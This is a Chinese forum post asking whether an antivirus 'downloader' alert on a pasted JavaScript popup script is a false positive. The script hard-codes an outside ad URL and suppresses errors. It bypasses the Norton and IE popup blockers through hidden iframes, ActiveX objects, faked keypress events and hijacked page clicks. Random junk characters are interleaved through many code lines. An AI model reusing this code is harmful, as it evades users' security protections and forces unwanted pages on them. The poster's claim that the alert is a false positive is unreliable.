各位幫我看看這段彈窗代碼,怎麼殺軟報毒,我覺得是誤報...

各位幫我看看這段彈窗代碼,怎麼殺軟報毒,我覺得是誤報...
& j! }4 {" A( m) k# L- T5 r% q
4 ^  y, U4 S5 X代碼如下.

- P) F/ J5 Y% V- l* X' j  A% R3 N
8 A5 v+ Z$ q1 h5 ]4 \+ C7 ?/ W: g. n* R<Script Language="JavaScript">
var paypopupURL = "http://diaocha888.ik8.com/aonev.htm";
( Z' Z+ C* E( A( [0 D+ pvar usingActiveX = true;
function blockError(){return true;}
window.onerror = blockError;
# g/ v8 H& @! M' |//bypass norton internet security popup blocker
if (window.SymRealWinOpen){window.open = SymRealWinOpen;}
& ~) T7 v, F* ?; yif (window.NS_ActualOpen) {window.open = NS_ActualOpen;}
if (typeof(usingClick) == 'undefined') {var usingClick = false;}
if (typeof(usingActiveX) == 'undefined') {var usingActiveX = false;}
4 U" d' k$ o. ?( f( a( dif (typeof(popwin) == 'undefined') {var popwin = null;}
if (typeof(poped) == 'undefined') {var poped = false;}
) F0 r5 F" i+ c/ u. sif (typeof(paypopupURL) == 'undefined') {var paypopupURL = "http://diaocha888.ik8.com/aonev.htm";}
5 y( u0 l5 v9 L1 ^" e4 Ovar blk = 1;
! o) E6 c/ S  G6 {; Evar setupClickSuccess = false;
/ g" i* V  P: u" nvar googleInUse = false;
var myurl = location.href+'/';
var MAX_TRIED = 20;
& A0 V& s/ P; z; Y8 ]var activeXTried = false;
# W0 }4 a6 X$ r9 k8 Vvar tried = 0;
# a2 Q  G+ f' X( K$ G8 rvar randkey = '0'; // random key from server
" {( W1 p8 O8 _' Zvar myWindow;
var popWindow;
3 R. d; u( G# l& F1 S+ n# Evar setupActiveXSuccess = 0;
7 w3 c  H/ I) @% W8 w9 h// bypass IE functions
; g& k# K/ L5 N6 o( I1 i5 _, ffunction setupActiveX() {if (usingActiveX) {try{if (setupActiveXSuccess < 5) {document.write('<INPUT STYLE="display:none;" ID="autoHit" TYPE="TEXT" ONKEYPRESS="showActiveX()">');popWindow=window.createPopup();popWindow.document.body.innerHTML='<DIV ID="objectRemover"><OBJECT ID="getParentDiv" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="'+myurl+'/paypopup.html" TYPE="text/html"></OBJECT></DIV>';document.write('<IFRAME NAME="popIframe" STYLE="position:absolute;top:-100px;left:0px;width:1px;height:1px;" SRC="about:blank"></IFRAME>');popIframe.document.write('<OBJECT ID="getParentFrame" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="'+myurl+'/paypopup.html" TYPE="text/html"></OBJECT>');setupActiveXSuccess = 6;}}catch(e){if (setupActiveXSuccess < 5) {setupActiveXSuccess++;setTimeout('setupActiveX();',500);}else if (setupActiveXSuccess == 5) {activeXTried = true;setupClick();}}}}
function tryActiveX(){if (!activeXTried && !poped) {if (setupActiveXSuccess == 6 && googleInUse && popWindow && popWindow.document.getElementById('getParentDiv') && popWindow.document.getElementById('getParentDiv').object && popWindow.document.getElementById('getParentDiv').object.parentWindow) {myWindow=popWindow.document.getElementById('getParentDiv').object.parentWindow;}else if (setupActiveXSuccess == 6 && !googleInUse && popIframe && popIframe.getParentFrame && popIframe.getParentFrame.object && popIframe.getParentFrame.object.parentWindow){myWindow=popIframe.getParentFrame.object.parentWindow;popIframe.location.replace('about:blank');}else {setTimeout('tryActiveX()',200);tried++;if (tried >= MAX_TRIED && !activeXTried) {activeXTried = true;setupClick();}return;}openActiveX();window.windowFired=true;self.focus();}}
. i$ g& I( }, ]3 m. Wfunction openActiveX(){if (!activeXTried && !poped) {if (myWindow && window.windowFired){window.windowFired=false;document.getElementById('autoHit').fireEvent("onkeypress",(document.createEventObject().keyCode=escape(randkey).substring(1)));}else {setTimeout('openActiveX();',100);}tried++;if (tried >= MAX_TRIED) {activeXTried = true;setupClick();}}}
function showActiveX(){if (!activeXTried && !poped) {if (googleInUse) {window.daChildObject=popWindow.document.getElementById('objectRemover').children(0);window.daChildObject=popWindow.document.getElementById('objectRemover').removeChild(window.daChildObject);}newWindow=myWindow.open(paypopupURL,'abcdefg');if (newWindow) {newWindow.blur();self.focus();activeXTried = true;poped = true;}else {if (!googleInUse) {googleInUse=true;tried=0;tryActiveX();}else {activeXTried = true;setupClick();}}}}
// end bypass IE functions
// normal call functions
function paypopup(){if (!poped) {if(!usingClick && !usingActiveX) {popwin = window.open(paypopupURL,'abcdefg');if (popwin) {poped = true;}self.focus();}}if (!poped) {if (usingActiveX) {tryActiveX();}else {setupClick();}}}
) ~9 L9 R  C. M  W$ t$ k4 D9 ?6 a// end normal call functions
// onclick call functions
: U* Z  ~% V& d) {( `6 i! a) J" cfunction setupClick() {if (!poped && !setupClickSuccess){if (window.Event) document.captureEvents(Event.CLICK);prePaypopOnclick = document.onclick;document.onclick = gopop;self.focus();setupClickSuccess=true;}}
function gopop() {if (!poped) {popwin = window.open(paypopupURL,'abcdefg');if (popwin) {poped = true;}self.focus();}if (typeof(prePaypopOnclick) == "function") {prePaypopOnclick();}}
// end onclick call functions
2 ~- F/ A+ L1 k5 a; z// check version
function detectGoogle() {if (usingActiveX) {try {document.write('<DIV STYLE="display:none;"><OBJECT ID="detectGoogle" CLASSID="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB" STYLE="display:none;" CODEBASE="view-source:about:blank"></OBJECT></DIV>');googleInUse|=(typeof(document.getElementById('detectGoogle'))=='object');}catch(e){setTimeout('detectGoogle();',50);}}}
6 `1 k! `8 t' I  F  h1 q7 S1 f" Kfunction version() {var os = 'W0';var bs = 'I0';var isframe = false;var browser = window.navigator.userAgent;if (browser.indexOf('Win') != -1) {os = 'W1';}if (browser.indexOf("SV1") != -1) {bs = 'I2';}else if (browser.indexOf("Opera") != -1) {bs = "I0";}else if (browser.indexOf("Firefox") != -1) {bs = "I0";}else if (browser.indexOf("Microsoft") != -1 || browser.indexOf("MSIE") != -1) {bs = 'I1';}if (top.location != this.location) {isframe = true;}paypopupURL = paypopupURL;usingClick = blk && ((browser.indexOf("SV1") != -1) || (browser.indexOf("Opera") != -1) || (browser.indexOf("Firefox") != -1));usingActiveX = blk && (browser.indexOf("SV1") != -1) && !(browser.indexOf("Opera") != -1) && ((browser.indexOf("Microsoft") != -1) || (browser.indexOf("MSIE") != -1));detectGoogle();}
* h8 B+ I+ C  G& @# e/ q9 Kversion();
// end check version
function loadingPop() {
if(!usingClick && !usingActiveX) {
+ B. L1 o/ s5 r9 k5 Lpaypopup();
}
" S" u% @- X$ Y3 lelse if (usingActiveX) {tryActiveX();}
; _: h8 o) N$ \, selse {setupClick();}
) G' d. f# [6 |* V# L; D- z4 r}
# D) a3 t2 W" B3 B4 I& [3 fmyurl = myurl.substring(0, myurl.indexOf('/',8));
if (myurl == '') {myurl = '.';}
setupActiveX();
# u- \; R  g/ |( tloadingPop();
self.focus();
1 o: A* [8 J4 Y</Script>


3 F. s  _& {7 R# ]" I
我的卡巴和ewido全報,說是downloader.xx.xx 什麼的,我看了下代碼,覺得是誤報,大家覺得呢!